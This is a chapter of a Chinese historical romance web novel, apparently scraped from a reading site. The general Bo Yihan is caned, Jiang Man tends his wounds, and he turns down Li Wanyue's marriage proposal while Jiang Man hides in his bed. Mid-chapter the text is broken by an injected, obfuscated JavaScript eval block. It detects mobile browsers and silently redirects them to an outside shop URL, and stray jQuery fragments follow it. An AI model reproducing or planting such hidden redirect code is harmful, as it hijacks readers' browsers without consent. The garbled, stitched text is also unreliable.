45.劝说

作品:《敛骨吹

    薄屹寒再次上马,一声呵斥,很快到了禁卫司。


    当李渊听说他是来领罚的,心疼的直砸吧嘴,“小子,你说你回京当个闲散的王爷多好,非得趟这趟浑水。”


    薄屹寒脱下盔甲,漏出里面的衣服,淡淡道:“不过二十棍子,于我来说不算什么,”他脱到一半,面上带着一丝笑来,“陛下刚才封我为镇国公,夺了我的兵权。”


    李渊“啊”了一声,没在说什么,面上并无喜色。


    二十棍不多不少,可他们这些行刑的人都下了十足的力,薄屹寒咬着牙一声不吭,等打完,已经有血顺着黑衣往下淌。


    李渊气的直骂,“你们这几个混账东西!下这么重的手做什么!这是本将的徒弟,你们真打啊!”


    行刑的军士道:“李将军莫急,我等听命于陛下,陛下要罚镇国公,属下等不敢不下重手。”


    李渊哪能不知道,他就是心疼薄屹寒。


    他上前扶起薄屹寒,见他嘴唇泛白,毫无血色,便道:“我叫人去宫里请太医吧。”


    “不必,”薄屹寒抽了口气,“我府里有大夫。”


    他没再去管那盔甲,而是找了件大裘披上,“顾原放了吧,陛下说了,陆家贪污继续由他负责。”


    李渊手一松,皱着眉看他,“你今日种种,皆是为了救他,对吗?”


    “是。”


    李渊这人是一根筋,他是无论如何都不会把救顾原和三皇子联系上的,所以站在原地想了半天也没想出来,“你这是为何?”


    薄屹寒手扶着门框,忍着痛意,摇了摇头,“师傅,帮我找个马车送我回府。”


    ———


    皇后寝宫。


    张皇后半卧在榻上,左边立于的侍女弹着烟杆子,递到皇后嘴边,右边立于的侍女手捧着果子,低着头。


    抽了口烟,张皇后可算恢复了些神志,说:“子恒,这人不能留。”


    太子薄恒坐在下坐,与张修远对视了一眼,道:“先前儿臣试图拉拢,可他一直未曾表明意思。今日在殿上,他虽与儿臣争论,但是儿臣明白,他是为了陆家的事,既然他一心除掉陆家,那就是对咱们有益的。”


    “本宫说他不能留,不是因为他是谁门下客。即便他归顺你,那这个人,你也掌控不了。掌控不了的人,留着作甚。”张皇后嗓子有些哑,“贤才啊,多的是。”


    张修远摸了把胡子,轻点头,“娘娘说的不错。”


    三人说话间,有人穿着一身海棠绣花的长裙走进来,也不需要人禀报,径直走进来在张皇后身边跪下,轻声道:“娘娘,前头的消息,陛下刚刚封战王为镇国公了。”


    “什么!”薄恒一惊,手边的茶水应声翻倒,撒了一桌子。


    几个宫女赶紧前后过来收拾,张皇后瞥了他一眼,“慌什么。”


    张修远冷笑一声,“是个有本事的。”


    张皇后轻抚步摇,缓缓坐起来,道:“山野小儿,得了势头往上爬,爬到王位还不知足。”


    方才禀报的姑娘再次开口:“娘娘,凉州的五万兵放出来了。”


    宫女们很快收拾好了桌子,薄恒的袖口湿了,虎子拿着崭新的外袍替他换上。


    “五万北安军,”张皇后道:“子恒,得了这五万兵,你的位置无可撼动。”


    “母后,儿臣明白。”


    “至于那些阴暗爬虫,母后替你解决。”


    ———


    “上次是十棍子,这次是二十棍。下手越来越狠。”


    “你轻点。”薄屹寒闷着声音,把头埋在枕头里。


    姜满药匙上沾着宋为期开的创粉,一点点洒在薄屹寒被打的皮开肉绽的伤口处。


    “疯什么?外面都传你不知天高地厚呢。”


    “我不疯,疯的就是别人。”薄屹寒伸手想去牵她,“亲我一口。”


    姜满往前坐了坐,俯身在他侧脸上轻啄了一口,“我真不明白,你明明捏着那么多人的把柄,为何隐忍不发?”


    薄屹寒疼的满头汗,咬了咬牙道:“以后你就知道了。”


    很快伤口上好了药,姜满替他把上衣拢好,嘱咐道:“别喝酒了最近,也少动弹,最好连带着脑子都歇歇。”


    “知道了,”薄屹寒拉着她的手,“那你呢?”


    “二殿下约我明日去他府上看戏呢,”姜满任由一只手被他拉着,另一只手去收拾沾了血的白布,“也不知道是看戏子唱戏,还是他搭了个台子自己要上去唱两句。”


    薄屹寒垂眸,想着什么,没接话。


    半晌道:“我让赵肃赵熙在皇子府外接应你,如果有事,我第一时间赶到。”


    “不必,我应付的来。”姜满拿了块干净的白巾替他擦汗,然后又起身倒了杯水想喂给他喝,却瞥见书案上有一张银票的碎屑。


    她倒了水回来,刚要喂到人的嘴边。


    外面忽然传里齐涑高喊的声音,“哎!李大人!您不能进去!我们王爷正在休息呢!”


    李婉月那高冷又严肃的声音响起,“让本官进去!本官看过王爷后就走,不会耽误他休息。”


    姜满吓了一跳,差点把杯子里的水泼到薄屹寒脸上。


    薄屹寒往后躲了一下,“你怕什么,她看见就看见。”


    可姜满总有一种“偷情”的感觉,可能还没有从上一世她为世子妃,李婉月为薄屹寒未婚妻的身份中完全脱离出来。


    “你这屋里就没有个能躲人的地方吗?”姜满扫了一圈,最终把目光定格在薄屹寒身下这张能躺下好几人的大床上。


    她放下帷帐,这种紧急时刻她居然还记得把鞋脱了藏到床底下,自己则是钻进帷帐,用那床大被子把自己藏起来。给薄屹寒比了个噤声的动作。


    下一瞬,李婉月推门进来。


    薄屹寒一脸不悦。


    这人跟李渊不愧是父女,连不通报直接闯进来都如出一辙。


    齐涑挠了挠头,尴尬地说:“王爷,对不起,属下没拦住。”


    薄屹寒没回话,也没让他关门出去。这屋里要是他和姜满两人还好,要再多一个,再关上门,怎么想怎么诡异。


    他皱着眉问:“李大人有事吗?”


    “我爹说你受了二十板子,我十分担忧,来看看你。”


    “本王无事,都是小伤,李大人看过了,可以走了。”


    李婉月没有要走的意思,她咬了咬下唇,脸色有些红,“王爷,下官有话要说。能否并退旁人?”


    齐涑正在门口张望,好奇姜满去哪里了,正欲开口。


    躲在被子里的姜满好像是感知了什么,伸手在身边男人的手臂上拧了一把。


    “啊——啊那个,齐涑,你出去吧,快出去。”薄屹寒疼的叫了声,下意识伸手握住那只不老实的小手,开口让齐涑赶紧出去。


    齐涑只好关上门退了出去。


    李婉月径直走过来,落座于姜满方才坐过的椅子上,踌躇开口:“我听我爹说,陛下封王爷为镇国公了。”


    薄屹寒松开手里柔软的手,轻轻嗯了声。


    “安国从古至今,还并没有外姓人能坐到王爷如今的位置上呢。”


    “安国开国至今一共百余年,不算很长。”


    可李婉月铁了心要夸他,“安国以前,姜国存在五百多年,也并未有人如王爷这般有本事。”


    薄屹寒有些不耐,他以前怎么没发觉李婉月这么嘴碎,他问:“你想说什么?”


    李婉月抬着头,因为要说的话难以启齿,所以眼神有些飘忽,“王爷,上次我爹跟您说,想要陛下赐婚与你我,王爷意下如何?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844684|188520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>赐婚?


    薄屹寒愣了一下,回想了半天也没想起来有这回事,他只是听李渊提过有意撮合他二人,可赐婚一事纯属无稽之谈。


    他摇头,严肃道:“婉月,我手中的兵权已被陛下收走,今后要走的路也是艰难险阻,你是我师傅的女儿,我不能耽误你。还有,我并不喜欢你,更不能与你成亲。”


    他这话说的直白,李婉月脸上挂不住连准备好的说辞都忘了。


    她愣愣道:“你,你不喜欢我,那你喜欢什么样的?难不成真是令栀那样的?她那样的商女?”


    躲在被子里的姜满动了动,表示不满,伸手在薄屹寒掌心挠了挠。


    薄屹寒被她可爱到了,忍着笑意道:“我喜欢谁你没必要知道。婉月,你是这么优秀的人,南北两国唯一的三品女官,为何你总是拘泥于儿女私情?岂不是埋没了你一身抱负?”


    李婉月低了低头,“我这官服,若不是父亲在沙场奋战,又因为他没有儿子,陛下是万万不肯赐给我的。我虽有官职,可他们不曾让我处理要事,净是给我安排教导公主这样可有可无的活儿。”


    她声音越来越小,末了,补上一句:“我若再不嫁个有权势的人,李家怕是毁在我这儿了。”


    薄屹寒微微叹气,他道:“你可知师傅这么些年,除了你为何无所出吗?”


    李婉月愣着,没有回话。


    “他知道,若他有儿子,那必会步他的后尘,一辈子为了安国效力,而你,必须嫁给王公贵胄,替李家壮大牺牲自己。他不愿让你困于此,也不愿让李家再出一个李渊,所以他就你一个孩子。陛下因为李家,必不会亏待了你。至少你一生无忧,能按照自己心意做事。师傅既然如此,你也不必再为了李家而随便嫁人,找个与自己心意相通的便好。”


    李婉月喉中酸涩,眼眶微红,她伸手擦了把眼泪,慌忙站起来,“下官知道了。”


    被子里有个美人,眼前还站着别的姑娘,薄屹寒觉得自己特别像那种偷情的浪荡汉子。


    想到这里,他挥手,“好了你走吧,多谢你今日来看我。”


    李婉月点头,转身开门出去了。


    姜满在被子里又热又憋得慌,听见人走了,赶紧掀开被子钻出来大口呼吸。发髻微乱,少女的衣服也松松垮垮,面色微红。


    两人的双眼就这么对上。


    薄屹寒的手下意识去整理面前美人松垮的衣襟,刚碰了却又觉得冒犯不妥,复又收回了手。


    姜满的几缕发丝垂落在他颈间,惹得薄屹寒好像心里都开始发痒,须臾片刻,他声音带了一丝自己都不曾发觉得沙哑。


    “阿满,我......”


    姜满募地睁大了双眼,伸手想去捂他的嘴,怕他说出点什么混账话来,却因为没了撑着的力,一时没稳住身形。这倒是把薄屹寒吓了一跳,生怕她摔了,伸手去搂她的腰。


    两人以一种暧昧又诡异的姿势,女上男下,姜满扑在他身上,像个野汉子一样手还扶在他胸膛上。


    上一世永王府书房的事仿佛重现,两人几乎都屏住呼吸。


    姜满解释道:“我不是有意的......”


    薄屹寒喘了口气道:“你可以是故意的,也没关系。”


    姜满:“......”


    不知过了多久,薄屹寒觉得气氛安静的有着诡异,想着找个什么别的话题。


    姜满赶紧穿上鞋子,往外退了几步,“我去看看阿姐。”


    说完,她逃命一般出了门,院中对上齐涑的眼睛,她更觉得尴尬,没说话便走了。


    齐涑不明所以,端着煎好的药进了屋,“王爷,怎么这一个两个都跑的这么快,你们在屋里干嘛了?”


    薄屹寒咬牙,“闭上你的狗嘴。”


    “......”